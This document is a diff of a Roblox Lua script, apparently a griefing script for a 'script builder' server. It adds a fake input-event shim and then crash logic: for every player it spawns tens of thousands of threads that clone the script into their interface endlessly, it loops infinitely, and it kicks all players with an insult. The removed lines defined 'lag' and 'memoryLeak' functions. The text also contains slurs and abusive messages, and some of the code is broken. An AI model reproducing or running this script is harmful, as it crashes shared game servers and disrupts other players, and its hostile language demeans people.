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1 | - | local plr = game.Players.LocalPlayer |
1 | + | if game:GetService("RunService"):IsClient() then error("L0L, u using void? Its h/ you antirepatizised homeless motherfucker") end |
2 | - | local rs = game:GetService("RunService") |
2 | + | local Player,Mouse,mouse,UserInputService,ContextActionService = owner |
3 | local RealPlayer = Player | |
4 | - | function lag() |
4 | + | do warn("oh I see, ur using this on void! well I will let it be - Source ")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer end |
5 | pcall(function() | |
6 | - | script:clone().Parent = plr.PlayerGui |
6 | + | sound = Instance.new("Sound") |
7 | - | print("Rest in peace.") |
7 | + | sound.Name = "Voidassity Script Builder" |
8 | sound.Parent = game:GetService("SoundService") | |
9 | sound.SoundId = "rbxassetid://1022320907" | |
10 | sound.Looped = true | |
11 | - | function memoryLeak() |
11 | + | sound:Play() |
12 | pcall(function() | |
13 | for fat,usar in pairs(game.Players:GetPlayers()) do | |
14 | xd = false | |
15 | - | spawn(lag) |
15 | + | function cloneui() |
16 | while true do | |
17 | script:clone().Parent = usar.PlayerGui | |
18 | end | |
19 | end | |
20 | ||
21 | function xd() | |
22 | - | spawn(memoryLeak) |
22 | + | |
23 | - | end |
23 | + | |
24 | for i = 1, 50000 do | |
25 | spawn(cloneui) | |
26 | end | |
27 | end)) | |
28 | end | |
29 | end | |
30 | function gshutdown() | |
31 | for sup,gays in pairs(game.Players:GetPlayers()) do | |
32 | gay:Kick'Roblox has detected LOWKEY IQ' | |
33 | end | |
34 | end | |
35 | if xd then | |
36 | spawn(gshutdown) | |
37 | end | |
38 | while true do | |
39 | spawn(xd) | |
40 | end | |
41 | end | |
42 | end) | |
43 | end) |